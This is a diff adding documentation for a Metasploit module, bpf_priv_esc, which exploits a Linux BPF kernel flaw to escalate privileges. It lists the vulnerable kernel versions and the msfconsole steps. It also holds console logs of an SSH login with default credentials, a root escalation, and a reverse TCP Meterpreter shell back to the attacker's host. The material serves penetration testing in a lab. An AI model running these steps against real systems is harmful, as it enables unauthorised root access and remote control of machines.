|
| 1 | +## Notes |
| 2 | + |
| 3 | +This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper. |
| 4 | + |
| 5 | +Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work. |
| 6 | + |
| 7 | +As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required. |
| 8 | + |
| 9 | +As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted. |
| 10 | + |
| 11 | +## Creating A Testing Environment |
| 12 | + |
| 13 | +There are a few requirements for this module to work: |
| 14 | + |
| 15 | + 1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) |
| 16 | + 2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) |
| 17 | + 3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) |
| 18 | + |
| 19 | + Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set! |
| 20 | + |
| 21 | +This module has been tested against: |
| 22 | + |
| 23 | + 1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile) |
| 24 | + 2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile) |
| 25 | + |
| 26 | +This module was not tested against, but may work against: |
| 27 | + |
| 28 | + 1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) |
| 29 | + 2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) |
| 30 | + 3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) |
| 31 | + 4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603) |
| 32 | + 5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3) |
| 33 | + |
| 34 | +## Verification Steps |
| 35 | + |
| 36 | + 1. Start msfconsole |
| 37 | + 2. Exploit a box via whatever method |
| 38 | + 4. Do: `use exploit/linux/local/bpf_priv_esc` |
| 39 | + 5. Do: `set session #` |
| 40 | + 6. Do: `set verbose true` |
| 41 | + 7. Do: `exploit` |
| 42 | + |
| 43 | +## Options |
| 44 | + |
| 45 | + **MAXWAIT** |
| 46 | + |
| 47 | + The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds) |
| 48 | + |
| 49 | + **WritableDir** |
| 50 | + |
| 51 | + A folder we can write files to. Defaults to /tmp |
| 52 | + |
| 53 | + **COMPILE** |
| 54 | + |
| 55 | + If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto |
| 56 | + |
| 57 | +## Scenarios |
| 58 | + |
| 59 | +### Ubuntu 16.04 (with Linux 4.4.0-38-generic) |
| 60 | + |
| 61 | +#### Initial Access |
| 62 | + |
| 63 | + msf > use auxiliary/scanner/ssh/ssh_login |
| 64 | + msf auxiliary(ssh_login) > set rhosts 192.168.199.130 |
| 65 | + rhosts => 192.168.199.130 |
| 66 | + msf auxiliary(ssh_login) > set username ubuntu |
| 67 | + username => ubuntu |
| 68 | + msf auxiliary(ssh_login) > set password ubuntu |
| 69 | + password => ubuntu |
| 70 | + msf auxiliary(ssh_login) > exploit |
| 71 | + |
| 72 | + [*] SSH - Starting bruteforce |
| 73 | + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' |
| 74 | + [!] No active DB -- Credential data will not be saved! |
| 75 | + [*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400 |
| 76 | + [*] Scanned 1 of 1 hosts (100% complete) |
| 77 | + [*] Auxiliary module execution completed |
| 78 | + |
| 79 | +#### Escalate |
| 80 | + |
| 81 | +In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system. |
| 82 | + |
| 83 | + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc |
| 84 | + msf exploit(bpf_priv_esc) > set verbose true |
| 85 | + verbose => true |
| 86 | + msf exploit(bpf_priv_esc) > set session 1 |
| 87 | + session => 1 |
| 88 | + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 |
| 89 | + lhost => 192.168.199.131 |
| 90 | + msf exploit(bpf_priv_esc) > exploit |
| 91 | + |
| 92 | + [*] Started reverse TCP handler on 192.168.199.131:4444 |
| 93 | + [+] CONFIG_BPF_SYSCAL is set to yes |
| 94 | + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 |
| 95 | + [+] fuse is installed |
| 96 | + [+] libfuse-dev is installed |
| 97 | + [+] gcc is installed |
| 98 | + [*] Live compiling exploit on system |
| 99 | + [*] Writing files to target |
| 100 | + [*] Writing hello to /tmp/hello.c |
| 101 | + [*] Max line length is 65537 |
| 102 | + [*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf |
| 103 | + [*] Writing doubleput to /tmp/doubleput.c |
| 104 | + [*] Max line length is 65537 |
| 105 | + [*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf |
| 106 | + [*] Writing suidhelper to /tmp/suidhelper.c |
| 107 | + [*] Max line length is 65537 |
| 108 | + [*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf |
| 109 | + [*] Compiling all modules on target |
| 110 | + [*] Writing payload to /tmp/AyDJSaMM |
| 111 | + [*] Max line length is 65537 |
| 112 | + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf |
| 113 | + [*] Starting execution of priv esc. This may take about 120 seconds |
| 114 | + [+] got root, starting payload |
| 115 | + [*] Transmitting intermediate stager...(126 bytes) |
| 116 | + [*] Sending stage (2412016 bytes) to 192.168.199.130 |
| 117 | + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400 |
| 118 | + [*] Cleaning up... |
| 119 | + |
| 120 | + meterpreter > getuid |
| 121 | + Server username: uid=0, gid=0, euid=0, egid=0 |
| 122 | + meterpreter > sysinfo |
| 123 | + Computer : 192.168.199.130 |
| 124 | + OS : Ubuntu 16.04 (Linux 4.4.0-38-generic) |
| 125 | + Architecture : x86_64 |
| 126 | + Meterpreter : x64/linux |
| 127 | + |
| 128 | +#### Escalate w/ pre-compiled binaries |
| 129 | + |
| 130 | +It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed |
| 131 | + |
| 132 | + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc |
| 133 | + msf exploit(bpf_priv_esc) > set verbose true |
| 134 | + verbose => true |
| 135 | + msf exploit(bpf_priv_esc) > set session 1 |
| 136 | + session => 1 |
| 137 | + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 |
| 138 | + lhost => 192.168.199.131 |
| 139 | + msf exploit(bpf_priv_esc) > exploit |
| 140 | + |
| 141 | + [*] Started reverse TCP handler on 192.168.199.131:4444 |
| 142 | + [+] CONFIG_BPF_SYSCAL is set to yes |
| 143 | + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 |
| 144 | + [+] fuse is installed |
| 145 | + [-] libfuse-dev is not installed. Compiling will fail. |
| 146 | + [*] Dropping pre-compiled exploit on system |
| 147 | + [*] Writing pre-compiled binarys to target |
| 148 | + [*] Max line length is 65537 |
| 149 | + [*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf |
| 150 | + [*] Max line length is 65537 |
| 151 | + [*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf |
| 152 | + [*] Max line length is 65537 |
| 153 | + [*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf |
| 154 | + [*] Writing payload to /tmp/AyDJSaMM |
| 155 | + [*] Max line length is 65537 |
| 156 | + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf |
| 157 | + [*] Starting execution of priv esc. This may take about 120 seconds |
| 158 | + [+] got root, starting payload |
| 159 | + [-] This exploit may require process killing of 'hello', and 'doubleput' on the target |
| 160 | + [-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target |
| 161 | + [-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target |
| 162 | + [*] Transmitting intermediate stager...(126 bytes) |
| 163 | + [*] Sending stage (2412016 bytes) to 192.168.199.130 |
| 164 | + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400 |
| 165 | + |
| 166 | + meterpreter > getuid |
| 167 | + Server username: uid=0, gid=0, euid=0, egid=0 |
0 commit comments